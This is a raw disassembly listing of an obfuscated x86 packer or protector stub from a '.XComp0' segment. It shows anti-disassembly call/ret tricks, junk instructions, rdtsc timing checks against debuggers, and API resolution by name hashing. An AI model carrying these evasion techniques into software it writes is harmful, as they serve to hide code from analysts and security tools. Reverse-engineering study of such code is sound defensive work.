		dd 740105F9h, 80680Dh, 0FF6A0000h, 249195FFh, 5E905F9h
		dd 0BC000000h, 0E1EB6062h, 0FD88A60h, 680h, 840F00h, 61000000h
		dd 0B8h, 548BF500h, 89FC2824h, 0F9328D85h, 18F0F05h, 0FC000000h
		dd 32918D89h, 3CBE05F9h, 1000000h, 0F928119Dh, 24740305h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 767DFCF8h, 452AA598h, 8529F84Eh,	5F9248Dh
		dd 2B60AD66h, 0F92905BDh, 41858905h, 6105F912h,	24244403h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4BC35141h
		dd 56C18A4Ch, 68E0F98h,	29000000h, 0F91495B5h, 7E905h
		dd 747E0000h, 14A014FFh, 525090A3h, 0B8FA8B60h,	343737ACh
		dd 0F310F61h, 686h, 810F00h, 5A000000h,	0BB605058h, 1A88722Ah
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 3DA8E8C3h, 8B1C6C51h, 0CE97840h, 0A5000000h
		dd 0EB821D5Fh, 0CD89967Bh, 8371C3C0h, 0FCC501BDh, 850F0005h
		dd 120h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0D0C35747h, 82B4ABCCh, 9589DBDCh, 5F9344Dh, 8E9h
		dd 0F6173500h, 0A87A3F60h, 5250509Fh, 61605250h, 6160310Fh
		dd 310F585Ah, 810F5250h, 0
		dd 6160310Fh, 585A585Ah, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 14A4C350h
		dd 12BE6660h, 61B8B0EDh, 14E9h,	4665B700h, 61105F42h, 6CC05047h
		dd 7365929Dh, 3098685h,	24448B82h, 858B602Ch, 5F90DD5h
		dd 0DBDB58Bh, 906105F9h, 57C6B060h, 0DE9h, 0F66B5500h
		dd 0C4AA351Ch, 68C811E8h, 615FED22h, 8EB96050h,	507731AFh
		dd 0F616052h, 0CE831h, 379C0000h, 9C10848Bh, 3CEF563Eh
		dd 5A583B70h, 60906158h, 0A49BD89h, 0BD2905F9h,	5F92595h
		dd 0B0858D61h, 6A05FC81h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0B653C350h,	89EA1E8Dh
		dd 0F9143DB5h, 0F9D0FF05h, 28244403h, 68E0Fh, 0B5010000h
		dd 5F928E1h, 6018408Bh,	68D0Fh,	830F0000h, 0
; ---------------------------------------------------------------------------
		sub	[ebp+5F907F1h],	eax
		popa
		inc	eax
		push	0
		push	ebp
		call	sub_5A7F7F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7F7F	proc near		; CODE XREF: .XComp0:005A7F77p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5A7F7F	endp

; ---------------------------------------------------------------------------
		xlat
		pusha
		sub	[ebp+5F913B1h],	esi
		clc
		popa
		mov	[ebp+5FCC4FDh],	eax
		mov	[ebp+5F92559h],	ebx
		pop	eax
		push	0
		push	edx
		call	sub_5A7FB1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7FB1	proc near		; CODE XREF: .XComp0:005A7FA9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5A7FB1	endp

; ---------------------------------------------------------------------------
		db 0BBh, 91h, 4Bh
		dd 0E90D9AE6h, 0Bh, 0CE97F6F4h,	3EC430D0h, 89F8F9CEh, 0F9174585h
		dd 78708B05h, 5558D09h,	0C68305F9h, 9D89601Ch, 5F91585h
		dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 84618FC3h, 0E8DE6406h, 24247C81h,	10000000h
		dd 0F3870Fh, 85890000h,	5F9203Dh, 7E96050h, 35000000h
		dd 72F01BC0h, 0E860D3E6h, 13h, 0FB3A89BDh, 66957DD5h, 54E5C24Eh
		dd 6FA76389h, 5955AE56h, 4896161h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 2CA4533Ah
		dd 1A8B0Fh, 23600000h, 0F9045185h, 0DE905h, 0EC60000h
		dd 0D286FC0Bh, 0B8496207h, 61B6B60Ah, 1890Fh, 60F80000h
		dd 29758D8Bh, 8B6105F9h, 0F282444h, 680h, 898D2900h, 5005F914h
		dd 6E95260h, 69000000h,	9FCEEC31h, 89615E65h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0DE1F38C3h, 1198589h, 0AE905F9h, 0E8000000h,	6AA14268h
		dd 0E3B94210h, 858DF8C5h, 5FC81B0h, 1E899529h, 806005F9h
		dd 4EB134E0h, 89D0FF61h, 0F91FD9B5h, 820F9605h,	6, 9558D89h
		dd 740305F9h, 850F2424h, 0Eh, 0A9958960h, 2B05F934h, 0F912918Dh
		dd 870F6105h, 0Ch, 7E9h, 4F049200h, 0A307C978h,	1399BD8Dh
		dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 16B1C0C3h, 8F8D61h, 5860F3Bh, 60000000h
		dd 6131D080h, 0F5260ADh, 8Ah, 95895800h, 5F9171Dh, 247C8161h
		dd 24h,	0C2870F10h, 0F000000h, 1B8Bh, 158B0F00h, 0E9000000h
		dd 10h,	0D4565545h, 0AC99F1F2h,	75BCC98Fh, 4A06F2B3h, 13E990h
		dd 2BE80000h, 0BA805F72h, 0CFBB5B6Ah, 386A9907h, 52A4A9C3h
		dd 6060503Fh, 4666C2BFh, 9FADBF54h, 0B4614B64h,	60906140h
		dd 0AEDB523h, 61F505F9h, 2824448Bh, 0BE990F8h, 77000000h
		dd 6F17049Ah, 5348BBC6h, 0F503772h, 688h, 7B76000h, 9061D08Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h
		dd 81B0858Dh, 6A05FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0A21B1AC3h, 89D0FF3Dh, 0F92711B5h
		dd 24440305h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 25DD0EC0h, 36B94FABh, 259D0954h
		dd 0AB05F919h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	7CC35141h, 9C010A35h, 999D9D79h, 0D59589C0h, 8105F916h
		dd 10000FAh, 6D820F00h,	6A000007h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 37BFC357h
		dd 0E50DBEB4h, 8D8907D5h, 5F91789h, 0FE5BD8Dh, 0ADF805F9h
		dd 0C870Fh, 8C0F0000h, 6, 8F0Fh, 7C810000h, 2424h, 870F1000h
		dd 147h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	42C35242h, 0E5BD0964h, 5005F927h, 0EE960h, 0D5BC0000h
		dd 606CD588h, 12825A15h, 26B67AF5h, 14E8h, 739E5600h, 0B22F5274h
		dd 98926EA2h, 4A82E201h, 82E8BF80h, 6690BA08h, 615E54DCh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0D82DC353h, 13E9h, 7212C100h
		dd 0C11D6C40h, 76D10567h, 88AA21A4h, 0AE8CB620h, 8A19529h
		dd 840F05F9h, 6, 18C9B501h, 448B05F9h, 85292824h, 5F9082Dh
		dd 0CE990h, 0C0A90000h,	0CBC26C0Fh, 0F092B60Eh,	0F50FC63h
		dd 0D85h, 8E0F6000h, 0
; ---------------------------------------------------------------------------
		mov	ecx, 52843DB8h
		popa
		nop
		push	0
		push	edi
		call	sub_5A83F6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A83F6	proc near		; CODE XREF: .XComp0:005A83EEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5A83F6	endp

; ---------------------------------------------------------------------------
		dw 0B0F7h
; ---------------------------------------------------------------------------
		mov	[ebp+5F93275h],	eax
		jl	loc_5A8422
		pusha
		sub	[ebp+5F92001h],	ecx
		mov	eax, [ebp+5F90709h]
		popa


loc_5A8422:				; CODE XREF: .XComp0:005A840Ej
		lea	eax, [ebp+5FC81B0h]
		add	[ebp+5F9012Dh],	edx
		call	eax
		push	0
		push	eax
		call	sub_5A843B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A843B	proc near		; CODE XREF: .XComp0:005A8433p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5A843B	endp

; ---------------------------------------------------------------------------
		db 0F1h
		dd 0F34E59FAh, 0F77047Ah, 682h,	69B52900h, 305F928h, 60242444h
		dd 12E9h, 2BF15400h, 0B08BF315h, 2DD5ABFBh, 756FDC56h
		dd 893D4764h, 0F93301B5h, 60506105h, 8AC28B66h,	48961F1h
		dd 18890F24h, 0E9000000h, 13h, 0F9CB93A8h, 0F8C5A2D3h
		dd 665B07F1h, 0BFFE91A4h, 0AB68E386h, 2B558D89h, 0BD8D05F9h
		dd 5F91ACDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0D6C35747h, 0E596FFE6h,	8D89E7E0h, 5F91289h, 2DE18589h
		dd 0E9AD05F9h, 0Bh, 0A11D8C9Bh,	765EA833h, 0F32EB3Bh, 68Ch
		dd 0B99D8900h, 8105F92Dh, 28247Ch, 0F100000h, 11087h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 12E9A86Bh, 28000000h, 0E8B570D6h, 4B8B3C58h,	2F62A5A0h
		dd 0DC20EE42h, 0B5096071h, 5F93329h, 6870Fh, 9D8B0000h
		dd 5F93439h, 8F0F5061h,	0Ch, 6820Fh, 890F0000h,	0
; ---------------------------------------------------------------------------
		mov	[esp], eax
		jmp	loc_5A8582
; ---------------------------------------------------------------------------
		dd 1E2319B0h, 0F141BEA0h, 0C89D328Eh
; ---------------------------------------------------------------------------
		test	bh, bh


loc_5A8582:				; CODE XREF: .XComp0:005A856Fj
		mov	eax, [esp+2Ch]
		jmp	loc_5A859F
; ---------------------------------------------------------------------------
		db 89h
		dd 19271494h, 0F0A7AE98h, 811B8FAEh, 0BF3E174Dh
		db 0C6h, 8Bh, 85h
; ---------------------------------------------------------------------------


loc_5A859F:				; CODE XREF: .XComp0:005A8586j
		push	eax
		pusha
		mov	edx, edi
		mov	ax, 92E9h
		popa
		mov	[esp], eax
		push	0
		push	edi
		call	sub_5A85B6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A85B6	proc near		; CODE XREF: .XComp0:005A85AEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5A85B6	endp

; ---------------------------------------------------------------------------
		dw 0F86Ch
; ---------------------------------------------------------------------------
		jz	loc_5A85D4
		or	[ebp+5F91155h],	esi


loc_5A85D4:				; CODE XREF: .XComp0:005A85C8j
		lea	eax, [ebp+5FC81B0h]
		jmp	loc_5A85EB
; ---------------------------------------------------------------------------
		db 40h
		dd 0B4D8C74Bh, 0C1D73059h
		db 19h,	0E2h, 2Ah
; ---------------------------------------------------------------------------


loc_5A85EB:				; CODE XREF: .XComp0:005A85DAj
		call	eax
		push	0
		push	edx
		call	sub_5A85F8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A85F8	proc near		; CODE XREF: .XComp0:005A85F0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5A85F8	endp

; ---------------------------------------------------------------------------
		mov	edi, 8E9h
		add	[esi-61h], bl
		xor	eax, 682DBFABh
		adc	[eax+66h], esp
		mov	ecx, 8166A8C1h
		jecxz	short loc_5A8660
		dec	esi
		popa
		add	eax, [esp+28h]
		push	0
		push	ebp
		call	sub_5A8630
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8630	proc near		; CODE XREF: .XComp0:005A8628p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5A8630	endp

; ---------------------------------------------------------------------------
		or	eax, esp
		wait
		push	es
		stosd
		push	0
		push	ebx
		call	sub_5A8650
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8650	proc near		; CODE XREF: .XComp0:005A8648p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5A8650	endp

; ---------------------------------------------------------------------------


loc_5A8660:				; CODE XREF: .XComp0:005A861Dj
		fcmove	st, st(3)
		push	es
		xor	[ebx], esi
		cmp	[edx-71F09F0Eh], dl
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F8h
; ---------------------------------------------------------------------------
		jmp	loc_5A867E
; ---------------------------------------------------------------------------
		db 0BBh, 0B6h, 85h
		dd 79EFD92Bh
; ---------------------------------------------------------------------------
		jle	short loc_5A867F


loc_5A867E:				; CODE XREF: .XComp0:005A8670j
		popa


loc_5A867F:				; CODE XREF: .XComp0:005A867Cj
		pop	esi


loc_5A8680:				; CODE XREF: .XComp0:005A871Ej
		dec	dword ptr [ebp+5FCC4FDh]
		cmp	dword ptr [ebp+5FCC4FDh], 0
		jnz	short loc_5A8699
		xor	eax, eax
		lea	esi, [ebp+5FCD3A9h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_5A8699:				; CODE XREF: .XComp0:005A868Dj
		push	esi
		lodsd
		cmp	dword ptr [esp+28h], 10000000h
		ja	short loc_5A86B3
		push	eax
		mov	eax, [esp+2Ch]
		push	eax
		lea	eax, [ebp+5FC81B0h]
		call	eax


loc_5A86B3:				; CODE XREF: .XComp0:005A86A3j
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+5FCC4F9h]
		test	al, al
		jz	short loc_5A86C8
		cmp	al, [edi]
		jnz	short loc_5A8714


loc_5A86C8:				; CODE XREF: .XComp0:005A86C2j
		push	edi
		xor	al, al


loc_5A86CB:				; CODE XREF: .XComp0:005A86CCj
		scasb
		jnz	short loc_5A86CB
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_5A86D8:				; CODE XREF: .XComp0:005A8701j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_5A86E7:				; CODE XREF: .XComp0:005A86FAj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_5A86F8
		xor	ax, 5041h
		xor	bx, 5449h


loc_5A86F8:				; CODE XREF: .XComp0:005A86EDj
		dec	dh
		jnz	short loc_5A86E7
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_5A86D8
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_5A8723


loc_5A8714:				; CODE XREF: .XComp0:005A86C6j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+5F9328Dh]
		jmp	loc_5A8680
; ---------------------------------------------------------------------------


loc_5A8723:				; CODE XREF: .XComp0:005A8712j
		pop	esi
		mov	[ebp+5F900CDh],	ebx
		stc
		mov	eax, [ebp+5F9328Dh]
		push	0
		push	ebx
		call	sub_5A873C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A873C	proc near		; CODE XREF: .XComp0:005A8734p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5A873C	endp

; ---------------------------------------------------------------------------
		mov	ds:7C883645h, al
		and	bh, ah
		shl	eax, 1
		push	0
		push	esi
		call	sub_5A8760
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8760	proc near		; CODE XREF: .XComp0:005A8758p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5A8760	endp

; ---------------------------------------------------------------------------
		dd 7189829Bh, 6E96094h,	34000000h, 0F59B0551h, 49952989h
		dd 6105F915h, 619D8960h, 0F05F909h, 68Dh, 880F00h, 61000000h
		dd 1ACD8503h, 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 2298EDC3h, 0BE9607Dh, 56000000h
		dd 21A71537h, 0B001D64Bh, 0BD2BC951h, 5F91F11h,	0FF62B61h
		dd 18Eh, 0F96F900h, 688h, 0E99D3100h, 6605F905h, 6870FADh
		dd 1000000h, 0F91731B5h, 9D8B6005h, 5F90A35h, 6197C080h
		dd 2902E0C1h, 0F9347585h, 99850305h, 0F05F913h,	182h, 0BD31F900h
		dd 5F931D1h, 51006A96h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 74FEC470h, 55006AADh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0FDC2F6F9h
		dd 601114BEh, 0E9D8BF0Fh, 11h, 952ED7E7h, 5BCE7009h, 4E0E335Fh
		dd 0C547FCDAh, 7C81618Bh, 2424h, 870F1000h, 101h, 890F50FCh
		dd 0Eh,	61605250h, 860F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5A88B4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A88B4	proc near		; CODE XREF: .XComp0:005A88ACp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5A88B4	endp

; ---------------------------------------------------------------------------
		dd 0C43E1A46h, 0E6EA6BCh, 0FE9h, 0F23A9600h, 3EAEDE7h
		dd 603BB5D5h, 0C5C3B4CAh, 2824448Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 65C35646h, 0EFE27CC8h, 0E98ABC08h
		dd 8, 55C17B0Ch, 0D4DC152Ah, 0E9525090h, 0Ch, 0C34DF577h
		dd 1BA4E0ECh, 0BFF38944h, 0B460310Fh, 585A6181h, 17830F50h
		dd 50000000h, 0F616052h, 0AE931h, 0E5B00000h, 3DA21B1Ah
		dd 94EE0E93h, 6090585Ah, 2CEDF081h, 11E87D56h, 0FE000000h
		dd 0EFA4240Ch, 7980345Ah, 796A9079h, 77BAD763h,	0E916DE81h
		dd 6158048Dh, 0B0858DF8h, 0F05FC81h, 680h, 0DD8D8900h
		dd 0FF05F92Ah, 9D0B60D0h, 5F9163Dh, 24440361h, 4489F924h
		dd 820F1C24h, 6, 2ABDBD89h, 85C605F9h, 5F91899h, 0C985C700h
		dd 5FCC6h, 0C7000000h, 0FCC50185h, 5, 1800F00h,	0F9000000h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h
		dd 0F9301028h, 50006A61h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0E5A860A9h, 7E04E382h
		dd 8E997E6h, 0A3000000h, 0E71FD7EEh, 0E9BB9530h, 0Bh, 0E84C91E2h
		dd 0CA7BBF89h, 0C27EB85Dh, 8D310008h, 5F9297Dh,	1399858Bh
		dd 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 6660A8C3h, 7A05EF81h, 12E961h, 81350000h
		dd 1DF96DA7h, 0C122344Ch, 579FF0BEh, 967E3408h,	56006A4Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 983F4EEDh, 0EE9h, 0A5125200h, 6D7A721Ch, 0D44EA00Eh
		dd 965A4EAh, 0F91E9995h, 4D26B05h, 1E35B589h, 0C20305F9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 59C35242h
		dd 6A96ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0C49D56C3h, 1559D09h, 0BE905F9h, 33000000h
		dd 0D8D23177h, 6322CED9h, 6AAD4E36h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 42ABC353h
		dd 5D8D8912h, 8105F90Dh, 24247Ch, 0F100000h, 0EC87h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 87C32E7Dh, 0E98A5BBBh, 0Fh, 0F93FF519h, 47A5DFDFh, 47DE7DD4h
		dd 901A94C7h, 6196B560h, 0F525050h, 684h, 840F00h, 0F000000h
		dd 0CE96031h, 11000000h, 29EAB36Dh, 0A92332CCh,	61CA21C4h
		dd 6A90585Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F5AEC355h, 2824448Bh,	0AE9h
		dd 553C4200h, 34E372C7h, 900B9CABh, 4800Fh, 0B3600000h
		dd 50506163h, 0FE8A6052h, 0F310F61h, 0E8Dh, 9E900h, 0FC250000h
		dd 6BA53B98h, 5A1053A6h, 6A9058h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 8A6FEC3h, 858D03BDh
		dd 5FC81B0h, 0A99529h, 0D0FF05F9h, 0FD63E9FCh, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 6829AEC3h, 0B509108Dh, 5F92D95h, 0D97C858Dh,	6A05FCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 2EFC73C3h, 36129DECh, 7E9E97Fh, 0B5000000h, 69E087A2h
		dd 0F502CB2h, 1882h, 0E9525000h, 7, 0D473FEFDh,	0FF83DB9h
		dd 0F525031h, 5A585A31h, 24048958h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0B1C35343h,	728ADFFEh, 0F820Fh
		dd 0AE90000h, 0DB000000h, 53C55F5Dh, 165A4139h,	19830FC4h
		dd 0E9000000h, 14h, 0E08A65F3h,	53A1B12h, 0AA157076h, 454EA24h
		dd 0C6AF0F19h, 35FF64h,	29000000h, 0F932918Dh, 24048B05h
		dd 0F7BF0F60h, 2759B523h, 896105F9h, 0F906C585h, 8964F505h
		dd 25h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1D04h, 0C3514100h, 0CE43E6E2h, 0B3EDE664h, 0BD89DA6Ah
		dd 5F906F5h, 1820Fh, 8DFC0000h,	0FCD7CE85h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 56C18A4Ch, 595D8598h, 0F8016089h, 209E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 41628F7Fh, 0E8DB8B2Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5FCD7C7h
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+5F91825h], 0
		jz	short loc_5A8DE1
		mov	eax, [ebp+5F91151h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+5F92579h]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+5F90769h]


loc_5A8DE1:				; CODE XREF: .XComp0:005A8DC7j
		pusha
		push	dword ptr [ebp+5FCC105h]
		lea	eax, [ebp+5FCC109h]
		push	eax
		lea	eax, [ebp+5FCC301h]
		push	eax
		call	dword ptr [ebp+5F90DCDh]
		add	esp, 0Ch
		popa
		push	0
		push	esi
		call	sub_5A8E0B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8E0B	proc near		; CODE XREF: .XComp0:005A8E03p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5A8E0B	endp

; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FA7FB11Bh, 6ACEDCA7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2F6CC351h, 21D045ACh
		dd 89A0161Eh, 0F929AD8Dh, 1B58D05h, 6A05FCC3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F2F3C350h, 0D5B1D146h, 296B1FABh, 0F90E3995h, 0D9B52905h
		dd 8D05F92Ch, 0F92F0DBDh, 0DDB58905h, 8005F908h, 840F003Eh
		dd 31h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 0A5C35141h, 10259D89h, 0A4F905F9h, 1890Fh, 0E9FC0000h
		dd 0FFFFFFC7h, 0B8F5h, 8D010000h, 5F90D35h, 56006AAAh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BCD6FC3Bh, 0F3A513D8h, 7B8h, 65952900h, 0C705F935h
		dd 0F9214185h, 105h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 7E9BA75h, 0B000000h, 1EE52C90h
		dd 8D8DC3F2h, 5F94EE8h,	180D9D89h, 0E1FF05F9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 7BC35343h, 63D6ED1Bh
		dd 1F3AB5CAh, 245C8BF5h, 0E8550Ch, 5D000000h, 0D986ED81h
		dd 838B05FCh, 0B8h, 0C1058589h,	858D05FCh, 5FCD7C0h, 0B88389h
		dd 335D0000h, 60F9C3C0h, 0E62802BAh, 61D88B5Ch,	0C5B58960h
		dd 8D05F915h, 0FCDBBD85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0B08035D2h
		dd 2816D6C6h, 0F68060F9h, 0ECE2815Eh, 6127F9DAh, 50525090h
		dd 6E952h, 710C0000h, 85F53FA1h, 5250310Fh, 585A310Fh
		dd 310F585Ah, 6E9h, 9C404200h, 5A73F78Eh, 52505058h, 6870Fh
		dd 52500000h, 585A310Fh, 6E9310Fh, 95000000h, 0F8BAFE12h
		dd 90585A7Ch, 2CBD8D89h, 0FF6405F9h, 35h, 8964F900h, 25h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0CEFEBE07h, 0DD9D89B9h, 8D05F91Fh, 0FCDC5C85h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 12B2BF0Ah, 517968C5h, 0AE9h, 321C6500h
		dd 210EFC53h, 89D20C6Ch, 0F91E8D95h, 1608905h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F5C35343h, 6383794Ah
		dd 800F62E1h, 0Ch, 6800Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+5F91899h], 4Fh
		jz	loc_5A90E2
		cld


loc_5A90E2:				; CODE XREF: .XComp0:005A90DBj
		call	sub_5A90EB
		sub	dh, [eax+ecx*8-2]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5A90EB	proc near		; CODE XREF: .XComp0:loc_5A90E2p
		jmp	sub_5A9101
sub_5A90EB	endp

; ---------------------------------------------------------------------------
		dd 0A7A21538h, 7068B674h, 0DDFF7357h, 87D913ACh
		db 0E1h

; =============== S U B	R O U T	I N E =======================================



sub_5A9101	proc near		; CODE XREF: sub_5A90EBj

arg_4		= dword	ptr  8

		push	eax
		jb	loc_5A9110
		pusha
		mov	cl, 30h
		mov	cx, 462Fh
		popa


loc_5A9110:				; CODE XREF: sub_5A9101+1j
		mov	eax, [esp+4]
		pusha
		push	eax
		push	edx
		mov	ah, bh
		rdtsc
		pop	edx
		pop	eax
		push	esi
		jnz	$+6
		pop	eax
		popa
		mov	eax, [eax]
		push	eax
		push	edx
		jmp	loc_5A913E
; ---------------------------------------------------------------------------
		db 0Dh
		dd 0A5547149h, 3B8141EEh, 144F505Ch
		db 70h,	63h
; ---------------------------------------------------------------------------


loc_5A913E:				; CODE XREF: sub_5A9101+29j
		rdtsc
		jmp	loc_5A9153
; ---------------------------------------------------------------------------
		db 40h,	1Dh, 4Dh
		dd 0E757545Bh, 913EB178h
; ---------------------------------------------------------------------------
		jo	short loc_5A9178
		xchg	eax, esp


loc_5A9153:				; CODE XREF: sub_5A9101+3Fj
		pop	edx
		pop	eax
		mov	[esp+4], eax
		push	eax
		push	edx
		pusha
		jz	$+6
		jo	$+6
		popa
		rdtsc
		jmp	loc_5A9180
; ---------------------------------------------------------------------------
		dd 0CA63D6EDh, 0E01F3AB5h
; ---------------------------------------------------------------------------


